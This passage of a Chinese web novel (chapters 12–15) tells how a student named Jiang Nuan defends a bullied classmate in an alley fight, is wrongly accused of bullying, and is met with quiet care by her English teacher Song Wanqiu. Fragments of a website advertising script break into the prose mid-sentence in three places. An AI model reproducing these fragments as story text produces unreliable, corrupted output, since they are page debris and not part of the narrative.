江暖跟这人对视了几秒,没忍住翻了个巨大的白眼,挫败的在原地跺了跺脚,“你怎么这么烦啊,简直比我妈还烦!” 宋晚秋转回头,批改试卷,语重心长,“等你将来长大了,就会明白有人愿意烦你,是件挺幸福的事。” “stop!”江暖很烦有人给她讲大道理,蹲下身捡起散落在地上的卷子,“我需要一个安静的做题环境。” “OK。”宋晚秋耸耸肩。 江暖用力磨了一下牙,化愤怒为动力,趴在办公桌边上的墙上刷刷刷的做试卷,笔尖用力到试卷好几处都被戳破了。 深夜的办公室里,灯光昏黄而寂静。 江暖紧赶慢赶,终于在放学铃响起前,蒙完了所有试卷。 她拿着卷子打算交差走人,一转身,发现宋晚秋居然靠在办公椅上睡着了。 12. 第12章 女人身体深深陷进椅子里,头无力地歪向一边,嘴角微微向下耷拉着,黑眼圈在她的眼下显得格外明显。 她双手自然垂落在身体两侧,右手的手指微弯曲着,仿佛刚还握着笔,却在极度的疲倦中松开。 深夜的办公室里很安静,宋晚秋的呼吸缓慢而沉重,每一次呼吸都像是在与深深的困意做斗争后的喘息。 江暖偏眸看向女人面前堆满学生作业、教案和各种教学资料的办公桌,它们如同一座小山一般,无声诉说着这人繁重的工作。 江暖紧抿起唇,黑白分明的眸子一动不动的盯着女人眼周的乌青,她实在想不明白这人为什么非要跟自己过不去。 明明她可以早点回家睡觉。 明明她可以像其他老师一样对她不闻不问。 明明她们很讨厌对方。 叮——— 放学铃声突兀地响起。 宋晚秋慢吞吞地动了动身子,发出两声很轻的哼唧声,拧着眉,紧闭着眼,长睫不满的忽闪忽闪,全然一副老娘还没睡够的样子。 目不转睛盯着宋晚秋的江暖看到这一幕,情不自禁的弯了下唇角。 原来喜欢扰人清梦的宋老师也有起床气! 两分钟后,宋晚秋的系统重启成功,发现江暖还站在一旁写卷子,抬手揉了揉眉心,刚睡醒的声音软糯糯的,“还没做完吗?” “马上…”早已做完试卷的江暖又装模作样的在作文里多抄了几个单词,将试卷放到宋晚秋面前,“喏,我写完了。” 宋晚秋坐直身子,将桌上摊开的教案和未批改完的作业放到一边,翻看江暖的卷子。 江暖看着宋晚秋,询问:“那我走了?” 宋晚秋懒洋洋地嗯了一声。 江暖走到门口,忽地顿住脚步,转头看着坐在办公桌前的女人,“那个,你…还不下班吗?” 宋晚秋抬手揉着酸胀的脖颈,嗓音里带着显而易见的疲惫,“我把你的卷子批完再走,你快回去休息吧。” 困得命都没了还改什么破卷子! 这么喜欢加班,校长给你加班费了吗? 江暖不耐烦地咬了咬牙,大步折返回来,伸手将桌上自己的试卷抢回来。 “我想起来刚才有些地方我抄的有问题,卷子我先拿回去更正之后,明早再来交。” 宋晚秋愣了一下,眨巴眨巴眼,“太阳打西边出来了?你什么时候在乎抄的对不对了?” “我想怎样就怎样,管得着吗你?” 江暖说完怀里抱着卷子撒腿就跑,生怕有人会抢她卷子似的。 “嘿,这小破孩!”宋晚秋无奈的笑了笑,伸了个懒腰,拎起手包,关灯离开办公室。 翌日英语课,江暖破天荒的没睡觉。宋晚秋暗自松了口气,最近和这小魔头斗智斗勇,她感觉自己脑细胞都累死了一堆。 幸好明天就是周末,可以喘口气了。 周六,江知云照旧不在家。江暖吃完午饭便前往西郊附近小巷子里的游戏厅消磨时间。 昏暗的游戏厅内灯光闪烁,空气中弥漫着淡淡的烟味和汗水的气息,喧闹声此起彼伏。 江暖全神贯注地盯着游戏机屏幕,双手熟练地操作着摇杆和按键,沉浸在游戏的世界中。 饿了吃零食,渴了喝加冰可乐,一直玩到晚上十点多,江暖才离开游戏厅。 夏天的夜晚,闷热的空气被微风稀释。月光透过狭窄的巷道洒下,在地面上勾勒出一片片不规则的光斑。 江暖走在昏暗的小巷里,脚步有些拖沓,昏黄的灯光洒在她身上,拉出一道长长的影子。 走到巷子中间,她微微驻足,抬头,看向头顶有点破旧的路灯,游离的眼神似乎在思考着什么,又似乎什么都没想。 忽地,巷子深处爆发出一阵尖锐的哄笑。 江暖转过头,微眯着眼大概扫了一眼,只见三个穿着夸张服装,流里流气的女生将一个看不清长相的女生紧紧围住。 江暖皱了下眉,转回头,双手插兜,事不关己的继续朝前走。 巷子深处。 为首的女混混拽着女生的衣领,嘴角挂着冷酷的笑,厉声喝道:“你以为你还能逃得掉?” 被团团围住的女生脸色苍白,瘦弱的身体止不住地颤抖,眼中噙满泪水,却紧咬着唇倔强地不肯让它们落下。 其中一个女生猛地推了她一把,她踉跄着后退几步,差点摔倒。 接着女生们纷纷上前,有的扯她的头发,有的用力拍打她的肩膀,踹她的双腿。她们在女孩书包上乱踩,把书本和文具扔得满地都是。她们肆意地笑着,仿佛在欣赏自己的“杰作”。 而被霸凌的女生孤立无援,仿佛坠入了无尽的黑暗深渊。 半分钟后,江暖转身,大步朝巷子里走去。 “放开她!” 女混混们闻言转过头来,齐刷刷地看着不远处突然出现的人,看到是个弱不禁风的女生,脸上露出不屑的神情。 人群缓缓散开,江暖这才看清被围堵的女生竟然是王亚楠,一瞬愣在原地。 这条巷子是游戏厅、台球厅、网吧、纹身店和酒吧的聚集地,是京北治安最乱的地方。按理来说,未成年又是好学生的王亚楠不应该出现在这里。 王亚楠同样也看到了江暖,紧咬着苍白的嘴唇,泪眼朦胧的眸中满是恐惧与无助,表情看起来马上就要哭了。 江暖发现王亚楠一向高高束起的头发被打的披散在背上,身上的短袖皱皱巴巴的,洗的泛黄的牛仔裤上全是凌乱的黑脚印。 她单薄的身体在不停颤抖着,仿佛一只受伤的可怜小鸟。 江暖表情冷下来,朝着人群挪动脚步,眼睛盯着王亚楠,冷声问:“你怎么在这儿?” “我…”王亚楠冲江暖使劲摇摇头,示意她不要再往前走了。 为首的女生将手臂重重压在王亚楠肩上,语气里带着一丝玩味,“怎么?你们认识啊?” 王亚楠佝偻着腰,双手紧紧捏在裤缝上,颤抖着声音否认,“不认识!” “我是她同学!”江暖自顾自地往前又走了两步,“我劝你最 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好立刻松开她!” “小屁孩,你是想多管闲事?”为首的女生双手抱在胸前,嘴角挂着一丝戏谑的笑容,“姐姐劝你最好快点滚回家,找你妈妈喝奶去!” 话落,三人爆发出一阵刺耳的笑声。 江暖很讨厌“小屁孩”这个称呼! 更讨厌别人提起“妈妈”两个字! 但她不太想打架,毕竟明天要去学校。 “不然呢?”江暖右手插在裤兜,左手把玩着手机,懒散一笑,“我说大姐,你们这么多人欺负人家一个小姑娘,可真够有本事的。而且这种踩人书包的霸凌手段,初中小孩都不玩了吧。” 她含笑的声音里带着轻蔑,不屑,烦躁,还有一种嚣张。一群混混瞬间怒目而视,气氛紧张得仿佛能听到火花迸溅的声音。 一个染着灰色头发的女生开口:“你算什么东西?敢管我们的事!!” “你又算什么东西?”江暖抱着臂,心平气和地看着她,拖着声音,“知道喜欢仗势欺人的是什么吗?” 女生思考了几秒,两步并一步的走上前,猛地推了江暖一把,“靠!你骂谁是狗呢?” 措不及防的江暖一个踉跄,差点摔倒。 “大爷的,你敢推我!”江暖稳住身子,后槽牙咬合了一下,黑眸里燃起怒火。 “推你怎么了!!” 嗯,不想打架和不能打架是两回事! 江暖将手机揣进裤兜,忽地伸出手扯住推自己的女生的长发,用力地往后拉。 “靠!疯子,你放开我!”被拽着头发的女生疼得眼泪在眼眶中打转。“你们快来救我啊!” 两人见好友被欺负,瞬间扑了上去。 江暖奋力反抗,与三个女生扭打在一起。混乱中,她脸上挨了好几拳,但依然没有退缩。 站在一边的王亚楠深呼吸几次,强压下心头的恐惧,硬着头皮冲进去帮江暖,却在混乱中被江暖一把推了出来。 “滚开,一边儿呆着去,别干扰我!”火气上头的江暖语气很冲,王亚楠不敢再冲进去,急的原地团团转。 战斗在昏暗的小巷打响,三个女生如同一群愤怒的狮子,嘶吼着冲向江暖。 江暖小心躲避的同时卯足劲,对着她们拳打脚踢,拉扯头发,挠脸撕咬,场面一片混乱。 小巷里的空气仿佛凝固了,只有女孩们的打斗声、喘息声和各种国粹在空气中回荡。 “喂!你们干嘛呢?”不远处的网吧门口站着一个女人,大喊了一声,“我已经报警了!” 混混们听到动静脸上露出惊恐的神色。 “这次先放过你,咱们走着瞧!”为首的女生理了理被扯乱的衣领,威胁道。 “怂货,吓唬谁呢!”江暖用拇指擦了一下嘴角的血珠,满脸怒容,“有本事别跑啊,来,我们接着打啊!一群怂货!” 王亚楠听到她这话吓得脸都白了,拽了拽江暖的衣角,恳求,“别打了,警察要来了…” “呜——呜——”,尖锐而急促的警笛声划破剑拔弩张的空气。 13. 第13章 “小屁孩,我记住你了,我们走着瞧。”女生撂下狠话便带着朋友一溜烟跑了。 王亚楠看着脸上挂彩的江暖,强忍了一晚上的眼泪倾泻而出,声音一哽一哽的,浑身都在发着抖,“对不起,对不起,你…没事吧…” “没事!”江暖从裤兜里摸索半天,没找到纸巾,语气淡漠,“别哭了,我没纸给你擦眼泪!” “真的对不起!”王亚楠哭的上气不接下气。 江暖手扶着自己被踹到的腰,蹲下身将散落在地上的课本捡起来,看到上面字迹娟秀的笔记被凌乱的脚印践踏,不悦地皱起眉,将其轻手轻脚地装进地上破旧的书包里。 帮忙报警的女人走过来,两手背在身后,啧啧两声,“小姑娘打架挺猛啊!” 蹲在地上的江暖抬起头看向女人,不冷不热的说了句,“谢谢你帮忙报警…” “不用谢,我压根就没报警。”女人晃了晃手中的蓝牙音响,点开手机屏幕上的音频,警笛声响彻小巷。 江暖:…… 喻冰看了一眼嘴角还在冒血的江暖和胳膊上满是抓痕的王亚楠,想到附近的药店这会儿都关门了,叹了口气。 “你俩跟我走吧,我先带你们简单处理一下伤口。不然你俩这副模样回家免不了挨训。” 江暖暗想,要是回家有人骂倒好了。 刚才听到有人报警时,她第一反应是今晚江知云的电话可以打通了。第二反应是明天宋晚秋看到这些伤,肯定会多管闲事的教育她。 一想到宋晚秋要高高在上的教育或者嘲讽自己,江暖心底的烦躁又涌了上来,她低声骂了句脏话,顺了顺自己被撕扯的跟鸡窝似的头发,撑着膝盖起身。 “麻烦你了!” 喻冰背对着两人摆手,“不客气。” 三人一前一后来到网吧二楼休息室。 喻冰拿出医药箱,放到两小姑娘面前,“会自己上药吧?” “会。”王亚楠拘谨的点头。 江暖大喇喇地坐在沙发上,从医药箱取出棉签和碘伏,捏在手里。她环顾四周,发现整间屋子空荡的只有一张单人床和一个沙发,不太像住人的地方,更像是仓库。 江暖微侧着头,暗戳戳地打量着靠在墙边玩手机的陌生女人。 女人看着挺年轻,眉眼清冷,穿着一身灰色运动服,头顶戴着一顶黑色鸭舌帽,整个人的气场给人一种很不好惹的感觉。 江暖倏地想到刚进来时,听到有人喊这女人“老板”。 也是,在这条街开网吧的能是善茬吗? 思及此,江暖坐直身,轻滚喉咙,“那个…你这儿有镜子吗?” 喻冰抬眸瞥了一眼江暖,转身走到门口,从挂在墙上的包里翻出一个化妆镜,扔给江暖。 “谢谢!”江暖边给脸擦药边问:“对了,还不知道你叫什么呢?” 喻冰眉梢一抬:“叫姐姐。” 江暖:…… 感觉长得漂亮的女人都不是啥好人! 喻冰瞥了眼沙发上低着头,默默擦着药的王亚楠,似有似无的叹了口气,“她们为什么总欺负你?” 江暖闻言上药的手顿住,诧异地扭头看向身侧眼睛肿的跟核桃似的王亚楠,“总欺负你?” 王亚楠回避低头,沉默不语。 江暖忽地想到之前在王亚楠校服上看到的血迹,张了张嘴,想问清楚,但看出对方似乎不愿意谈及此事,转回头。边擦药边说,“以后自己一个人不要走这条路。” 喻冰看出两人心里的弯弯绕绕,插科打诨的绕开话题,“怎么听你这话瞧不起我这地儿啊!” “没有。”江暖垂着长睫,嗫嚅,“没这地儿我都不知道去哪儿呢…” “行了,快上药吧。”喻冰拿起手机,指尖嗖嗖嗖地刷短视频,“别一会儿警察叔叔巡查,发现我这儿藏着未成年,我可不想被罚款。” 江暖想到对方帮了她们,仗义执言,“我有钱,可以帮你交罚款。” “用不着!”喻冰无语,“给你们三分钟,上好药快点回家,如果睡不着,可以做五年高考三年模拟!” “你怎么和讨厌的宋晚秋一样不会说话!”江暖神情中都是嫌弃,嘟囔了一句。 喻冰刷视频的指尖一顿,皱起眉头,“你们是三中的学生?” 王亚楠乖巧点头,“是的,姐姐。” 喻冰哦了一声,“好好学习,没事儿别来这边。” 江暖警惕的盯着喻冰,“你问我们的学校做什么?难不成要去告状?” 喻冰头都没抬,不屑的嗤笑出声,“我对你们的教育问题没有任何兴趣。” 江暖点点下巴,嗫嚅,“这点倒挺好,和宋晚秋一样,不喜欢告状。” 话落,喻冰眸光一滞,紧抿起唇。 十分钟后,两人告别喻冰走出网吧。 王亚楠偷偷看着江暖嘴角、鼻梁还有右脸的伤口,眼眶再度湿润,“对不起啊!今晚连累你了。要不我们还是去医院吧…” “用不着。”江暖双手插在裤兜,拽的一点都不像刚被群殴的模样,“我打架受伤都是家常便饭了,这点伤不至于。” 王亚楠擦了擦眼角的眼泪,想了许久,她似乎从没见过江暖受伤,难道这人受的是内伤? 王亚楠双手紧紧攥着书包带,磕磕绊绊的和江暖打商量,“对了,今天的事,能不能…” 江暖打断她,“别在学校提这件事,我不想被老林叫家长。烦死了。” 王亚楠松开书包带子,重重点头。 江暖掏出手机看了眼时间,“住哪儿?我送你。” 王亚楠摇头,“不用了,我自己走回去。” “地址!”江暖打开叫车软件,声音冷冰冰的,“我这人没什么耐心,别让我问第二遍!” 王亚楠一愣,乖乖报了个地址。 江暖将王亚楠送到家门口,从包里翻出张便签,写下自己的号码,递给她,“以后她们再找你麻烦,随时给我打电话。” 王亚楠不接纸条,一个劲地摇头。 江暖板着脸,将纸条塞进对方手里,指了指自己的脸,“我这脸都让她们挠破相了,下次我一定要还回来。” 王亚楠牵起一抹苦笑,“她们是技校的,而且认识社会上的人,你打不过她们的。” “不试试怎么知道?”江暖伸手拍了一下王亚楠塌着的肩膀,依旧是拽拽的模样,“今天事发突然我没做好准备,下次谁打谁就不一定了!” “可是…”王亚楠紧张的揪着衣角。 “别可是了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,回去吧。我走了。”江暖装模作样地打了个哈欠,扯到嘴角的伤,疼得倒吸了一口凉气。 王亚楠哦了一声,往前走了几步,忽地转过身,语气认真:“谢谢你,江暖!” “快回吧。”江暖懒洋洋地摆摆手。 周一早读,江暖戴着口罩,拿起自己的书走到第一排,将书扔到王亚楠桌上,“把你的书给我!” 王亚楠一脸不解,“为什么?” 江暖不耐烦的拔高声音,“废什么话!让你给我就给我!” 王亚楠的同桌—宋欣听到两人的对话,鄙视地瞪了江暖一眼,“你这人讲不讲理!什么年代了还学土匪抢东西。” 跟在江暖身后的陈沐禾听到这人诋毁自己的好友,双手叉腰,“告状精,你骂谁土匪呢?” “谁抢东西就骂谁!” 江暖冷冷一笑,“有本事你再说一遍!” “说就说。”宋欣指着王亚楠手里的书,义正言辞,“你现在就是在光明正大的抢她的书!” 虽然林洛上次和江暖起过口角,也不清楚这人为什么要换课本,但她无条件的选择信任自己的朋友,好声好气的辩解,“江暖没抢啊,她是在跟王亚楠交换!” “她不乐意,你就是抢!”宋欣不依不饶。 江暖看着王亚楠,挑眉:“你不愿意换?” 王亚楠慢半拍的想明白了什么,心情复杂地抿了抿唇,轻点头,“愿意的。” 江暖嗯了一声,朝着宋欣耸耸肩,“你情我愿的事,你有意见?” 宋欣一噎,自己好心好意帮忙,结果这没骨气的同桌居然跟她唱反调。早知道就不管她了! 宋欣环顾四周,发现教室里的同学都在观望这场争斗,一时有点下不来台,站起身,恶狠狠的瞪着江暖和她的左膀右臂。 “我要去告诉老师,你们欺负同学。” “去啊。”江暖不屑的嘲讽出声,“整天和村口的八婆似的,只会告状。” “你骂谁八婆呢?” 江暖感觉口罩闷的她呼吸不畅,影响发挥。 她抬手拽下口罩,一顿输出,“咱们班除了你还有其他八婆?我说大姐,你有空颠倒是非不如擦擦狗眼看人低的双眼,闭上破嘴,认真背课文,以免日后被发配去村口当大喇叭。” 宋欣气的脸红脖子粗,看到江暖藏在口罩下的伤,想到什么,又低头看向王亚楠手腕上的抓痕,瞬间露出一抹恍然大悟的笑。 宋欣双手背在身后,表情和教导主任抓到迟到的同学一样,有种幸灾乐祸的得意。 “江暖,你霸凌同学。” 王亚楠心一颤,急忙出声,“不是的。” 江暖无语,伸出右手食指指着宋欣,“是又怎么样?你敢再说一句,小心我霸凌你!” “我…你…你们等着!”宋欣生怕再晚一步江暖会冲过来揍她,脚步慌乱地跑出教室。 王亚楠看着江暖,欲言又止,眸中一半愧疚一半惶恐。 江暖冲她轻摇头,冷着声音,“书给我!” 王亚楠乖乖将书递给江暖。 “报告!” 一大早来学校补教案的宋晚秋刚放下包,便听到门口响亮又慌乱的声音。 “请进。”宋晚秋看向门口。 14. 第14章 宋欣推门进来,环顾一圈,没找到班主任的身影,满脸失落的愣在原地。 宋晚秋认出她是自己班里的学生,见对方神情慌乱,关心道:“你怎么了?” 宋欣抿了抿唇,抖着声线,“我有点事要找班主任…” 宋晚秋看了眼时间,“她还没来,不然你先回教室上早读,晚点再过来吧。” 想到江暖骇人的眼神和威胁的话,宋欣不敢回教室,她越想越怕,眼眶不禁泛起红。 想到宋晚秋态度亲和,而且从不纵容恶霸—江暖,她用力吸了吸鼻子,恳求,“老师,你能不能陪我去教室啊?” 宋晚秋见对方突然哭了,不明所以的从桌上抽出一张纸巾,递给她,“你怎么了?” “江暖…她要打我!”宋欣攥着纸巾,哭哭啼啼的说,“江暖抢王亚楠的书,我出言阻止,然后她就要打我…” 宋晚秋愣了几秒,安抚道:“她应该只是和你开玩笑…” “不是的!”宋欣一股脑的全盘托出:“上次她说因为王亚楠是英语课代表,而她讨厌您,所以要连带着欺负王亚楠。然而今天王亚楠真的被她打了,胳膊上全是伤。” “什么?”宋晚秋诧异地拧起眉。 “王亚楠被江暖逼的都不敢再做课代表,周末放假还被她打了,刚又被抢走了书。我帮王亚楠说话,惹到了江暖,她说要霸凌我…” 宋欣哭的稀里哗啦,“怎么办啊?老师!” “你跟我来!” 江暖将王亚楠脏兮兮的课本摊开,盯着上面凌乱的脚印,想不明白,那群人为什么要欺负老实巴交的王亚楠。 宋晚秋大步走进教室,将王亚楠桌上的课本拿起来,翻到第一页。 果然是江暖的名字。 紧跟其后的宋欣一把将王亚楠的校服袖子撸起来,指着上面的伤,“老师,你看!” 措不及防的王亚楠慢半拍的将胳膊藏在课桌下面,瞪着宋欣,眸中染上怒意,“你做什么?” “我当然是找宋老师来帮你啊。” 安静的教室里,前排争执的声音很清晰,江暖敛起思绪,抬起头,目视前方。 只见站在宋欣身边的女人脸上没了昔日的温和,神情严肃,周身萦绕着一股沉重的气息。 江暖收回目光,暗自叹了口气。 得,要挨批了。 也不知道这次教导主任又会怎么骂她,而江知云又会扣她多少零花钱。 宋晚秋目光盯着王亚楠,声音沉沉,“你身上的伤是怎么弄的?” 王亚楠垂着头,小声说:“是我自己不小心摔的…” “不是的。老师,是江暖打的!”宋欣抬起手指向缩着脑袋的江暖,一副看戏的模样。 宋晚秋没接话,径直走到江暖座位边,看到女孩低垂着头,她轻咳一声,“江暖!” “干吗?”江暖没抬头。 “抬起头,看着我!”宋晚秋冰冷的嗓音里带着不容置喙的命令。 江暖缓缓抬起头,宋晚秋怔愣在原地,眉头紧蹙,一瞬不瞬的盯着女孩。 女孩是那种英气的长相,野生眉肆意地生长在眉骨之上,充满了自然的野性与活力。高挺的鼻梁仿若巍峨山峰,屹立在精致的面庞中央,为她增添了几分傲然之气。嘴唇不厚不薄,微微抿起时,带着一抹倔强的坚毅。 若不是那双黑白分明的眸子和乌黑的发,很容易让人以为她是混血。 而此刻这张仿佛是上天精心雕琢的艺术品的面容,却被人肆意的添加了许多不该有的痕迹。 简直暴遣天物。 平时拽的二五八万,现在被人打成这熊样! 宋晚秋怒其不争,“你跟我出来!” 王亚楠跑了过来,堵在宋晚秋面前,手死死揪着衣角,鼓足勇气打算坦白,“宋老师,真的不关江暖的事,我的伤是因为… “闭嘴!”江暖出声打断她,“这没你的事!” 王亚楠看着江暖,通红的眼眶里全是担忧。 江暖给了王亚楠一个“别多嘴”的眼神,因着腰部昨天被那群人踹伤,她行动没以往利落,手撑着课桌缓慢起身。 宋晚秋一语不发,放慢脚步,带着江暖走到天台,两人隔着一段距离站在栏杆边。 宋晚秋柔声开口:“说说吧,怎么回事?” 江暖梗着脖子,语气有点冲,“你一不是班主任,二不是教导主任,三不是我妈,管这么多干嘛!” “我是你的老师。”宋晚秋这才发现女孩扬起白皙脖颈居然也有抓痕。 “你是我老师又怎样?”江暖右手暗戳戳地揉着腰,勾起一抹自嘲的笑,“没错,是我打的王亚楠,是我抢了她的课本,也是我要打宋欣,你现在可以给校领导打报告了,如果你想给我妈打电话,我也可以…” 宋晚秋微不可察的叹了口气,往旁边挪了一大步,声音很轻,“疼吗?” 话音一落,江暖愣住了。 记忆飘远。 小时候的江暖非常好动,总喜欢在家里或者院子里爬上爬下,因此经常摔跤。 每次被保姆发现后会一把拽起她,弯着腰边给她拍身上的土,边不停抱怨。 “怎么又摔了啊!我才刚给你换的衣服。” “幸好没摔到脸,不然我给你妈怎么交代!” “你能不能乖乖看动画片,别折腾我了!” “你这小孩真是一点都不听话啊!怪不得你妈不愿意亲自照顾你…” 还有初中有一次校运动会,江暖跑八百米的时候狠狠摔了一跤。出差在外的江知云接到班主任电话,让老师将电话给江暖。 “暖暖,摔哪儿了?” “膝盖破了…” “没摔到头就好,乖乖听老师的话,妈妈最近回不来,等回来了给你带礼物。” 以及她第一次来例假。 那天,江暖疼得在床上直打滚,受不了了给她妈打电话,而电话那头的江知云只说了句“妈妈会安排助理给你送止痛药”便挂了电话。 “疼吗”如此简单而又常用的两个字,却是她这17年以来,第一次听到。 还是从她最讨厌的人嘴里听到的。 人生,多讽刺。 而仅仅只是因为这单薄的两个字,她好像又没那么讨厌她了。 她真没出息。 但也不能怪她没出息,实在是宋晚秋说这两个字的时候,语气太温柔。 温柔的如同春日的微风,夏日的清泉,秋日的明月,冬日的暖阳。 太阳刺的眼睛有点酸!江暖倔强地将头转向另一边,颤了颤眼睫,淡漠道:“不疼。” “疼就吃点止痛药,伤口记得涂去疤膏。”宋晚秋似有似无的叹了口气,“还有如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 果腰一直不舒服,记得去医院看看,千万别忍着。” 江暖没想到这人居然看出自己的腰伤了。 王亚楠和网吧老板、以及自己的好友,她们都只发现了她脸上的伤。 只有宋晚秋发现了她藏起来的腰伤,和埋在心里多年的隐疾。 江暖转回头,想问她怎么会知道,嘴一张说出口的却是,“你为什么不骂我揍了王亚楠?” 女孩眼尾泛着红,语气带着点委屈,宋晚秋抬手轻揉了一下她发顶,“你又没打她,老师为什么要骂你呢?” 江暖偏头避开这人的触碰,追问:“你怎么能确定我没打她?” 宋晚秋收回手,眉梢一抬,“打人的受的伤比被打的还重,那你的武力值不太行哦。” 江暖心念一动。 宋晚秋是唯一一个站在她这边的老师。 她就知道,宋晚秋和其他老师不一样。 她好像有点明白这人为什么能当老师了。 江暖阴郁的心情舒展下来,高仰起头,像只好胜的小猫,声音软软的,“你在嘲讽我?” “老师没有啊。” “你有。” 宋晚秋神色严肃起来,语气认真,“不论如何要保护好自己。在你们这个年纪会认为暴力是解决矛盾最快最有力的方式,但等你成年后会发现,其实它是最没用的方式。” 江暖扁了扁嘴,不以为意,“我只知道,该出手时就出手,不能冷眼旁观。” 宋晚秋不想以一个过来人或者老师的身份去纠正一个善良且勇敢的女孩的正义。 她宠溺一笑:“没事儿,以后再懂也不晚。” 不久后,两人一前一后下楼,在路过教师办公室时,宋晚秋让江暖在门口等一下自己。 江暖双手插兜,乖乖地靠在墙上等人。 三分钟后,宋晚秋走了出来,“这个给你。” 江暖垂眸看着她书里崭新的英语书,不明所以,“给我这个干吗?” 宋晚秋不答反问:“书都破损了,还怎么学习?” “别以为你给我新书,我就会好好学习。” “学习是你自己的事。”宋晚秋说完发现女孩的嘴角霎时耷拉下来,好笑的补充道:“但你在我的课堂上不学习,我还是会管你的。” 江暖嘴角缓缓上扬,“随便你。” 宋晚秋有点摸清这小孩别扭的心思了,不论她伪装的多么无所谓,表面多么吊儿郎当,她也只是一个需要被人关心的小姑娘。 走廊。 宋晚秋看着满脸漾着期待的宋欣,郑重其事的说,“放心吧,江暖不会欺负你。而且她也不会欺负班上任何一位同学。” 宋欣摇头,“可她打了王亚楠。” 宋晚秋目光透过窗户,看了眼正百无聊赖地翻着课本的江暖。 嗯,有进步,愿意翻书了。 她回头看向面前的宋欣,悠悠启唇,“王亚楠亲口说不是江暖打的她,对吧?而且你和我以及所有人都没有亲眼看到她打人,对吗?” “可是…” 宋晚秋双臂环胸,微蹙起眉,“你关心同学是好事,但我们未知全貌就给其他同学强加罪名,是不是就不太好了呢?” 宋欣一噎,语气不甘,“我知道了…” 宋晚秋嗯了一声,朝教室门抬抬下巴,“回去上课吧。” 15. 第15章 自从打架事件后,英语课江暖没再睡觉,虽然宋晚秋讲的第三十页的内容,而她的课本却停留在最后一页。 江暖想,她可没有向宋晚秋妥协,是她腰疼不适合罚站。她更不是喜欢看英语书,是因为宋晚秋给的这书实在是太新了,不翻出点褶皱她心里不爽。 周三最后一节晚自习,宋晚秋滴溜着没做卷子的江暖回到办公室。 “坐。”宋晚秋给江暖拉来一把凳子。 江暖目光戒备的盯着这人,“你不让我站着写卷子了?” 宋晚秋轻轻嗯了一声,将自己的工位让给江暖,拿着教案本坐在旁边的工位上。 江暖一屁股坐凳子上,将卷子铺在整洁的办公桌上,单手托腮看向一旁的宋晚秋,口气冷冷淡淡:“你就这么喜欢加班?” “没人会喜欢加班。”宋晚秋扬了扬手中厚厚的教案本,“老师和你们一样,即使下班了也需要做作业。” “我以为老师只需要讲两堂课呢。” 宋晚秋好笑,“哪有那么轻松的工作?老师每天要讲课,备课,批改卷子,还要自己做很多套卷子,然后再给你们出试题…” 江暖想起上次宋晚秋睡着后,她窥到的那抹黑眼圈,啧啧两声,“怪不得书上说‘蜡炬成灰泪始干’呢…” “知道的还不少。”宋晚秋翻开教案本,拿着笔开始狂补今天的教案。 江暖见对方奋笔疾书,拧开手中的笔盖,磨了磨牙,“我是对学习没兴趣,不是弱智。” “是吗?”宋晚秋百忙之中抬眸,饶有兴致的打量了一眼撅着嘴表达不满的女孩。 “你在怀疑我的智商?!”江暖噌地一下炸毛,手高举起卷子,大放厥词,“就这破卷子,我随随便便考个60分,你信吗?” 宋晚秋眸光一转,淡淡一句,“90分及格。” 江暖举着卷子的手一抖,硬着头皮吹,“90分我也随随便便考!” “是吗?”宋晚秋侧目看着女孩,思考了几秒提议道:“那你现在做,如果真做到了,老师可以圆你一个梦想。如果没能做到,以后你就必须认真完成我给你的每一套卷子,不许蒙。” 江暖有点怂了,滚了滚喉咙,“还圆梦!你以为你是阿拉丁神灯啊。” 这半个月来两人交战了好几个回合,宋晚秋基本掌握了这小孩的心思,挑眉,“怎么?不敢赌?” 江暖最讨厌别人威胁和看不起自己,愤愤地翻了个白眼,“赌就赌,你最好输得起。” 宋晚秋抿唇憋笑,“老师说话算数,你认真答题吧。” 江暖垂眸盯着卷子,气急败坏的抓耳挠腮。 这破题,蒙的时候异常顺畅,认真做的时候才发现认识的单词都没几个。而这些单词凑到一起简直和盲文似的,她感觉自己现在就是个睁眼瞎子。 要不,还是三长一短选最长? 可如果蒙的话,万一又考个38,怎么办? 要不,凭直觉选吧? 不都说女人的第六感很精准?! 可我现在还是女孩啊!! 管她呢!女人,女孩都是女的。就凭直觉! 宋晚秋扫了一眼嘴里振振有词的女孩,唇角抑制不住的弯了又弯。 这小孩,该不会在拜佛吧… 她之前查过江暖的档案,小孩初中的时候英语成绩还不错,但高中落了三年功课,恐怕初中学的那些知识早都尽数还给老师了。 宋晚秋收回目光,加快笔下速度,今晚得熬夜给这小孩“加餐”了。 学校的深夜,宛如一幅静谧而又炽热的画卷。窗外偶尔传来的几声蝉鸣,为这寂静之夜增添了一抹空灵生气。 灯光亮如白昼的办公室,江暖紧握着手中的笔,在昔日她看都不看一眼的试卷上疾速舞动。 宋晚秋静坐在一旁,陪着女孩为了璀璨的明天而努力,她想见证女孩成长的蜕变,想要为女孩准备攀登高峰的基石与阶梯。 后来,江暖始终感恩于这个夏夜。 人生轨迹开始转变的夏夜。 放学铃声响起。江暖忐忑的将试卷递给身侧的宋晚秋,“我做完了。” “嗯,喝点水吧。”宋晚秋将早已备好的水递给江暖,含笑摩拳擦掌,“让我们来看看江暖同学考了多少分。” 江暖双手捧着水杯,小口抿着,目光灼灼的盯着宋晚秋手中的红笔。 每落下一个红勾,她眸中便跃起得意,每落下一个红叉,她眸中又会染上挫败。 五分钟后,宋晚秋批阅完了整张试卷,将卷子翻到第一面,在打分处留下一抹飘逸的红。 “69分。”宋晚秋给江暖竖了个拇指,“不错嘛,比蒙的高多了。” 江暖眼里都是失落,扁了扁嘴,“还不是没及格...” “没关系,老师相信你总会及格的。”宋晚秋将卷子翻了个面,刷刷刷地写着什么。 半晌,她看向闷闷不乐的小孩,“正确答案我写在卷子上了,感兴趣的话可以看看。” “放学还看题,你真当我学霸啊!” 宋晚秋将红笔放进笔筒,将卷子放到一边,语气随意,“不想看也没事,反正考来考去都是这些题,下次再遇到同样的题,大不了照错不误嘛。” 江暖愣了一下,拿起卷子,“走了。” “等等。”宋晚秋喊着女孩,从包里翻出两管药膏递给她,“一个是祛疤的,一个是活血化瘀的。回去记得一定要用。” 宋晚秋课间给陈沐禾讲题时,无意间得知这人压根就没买药。 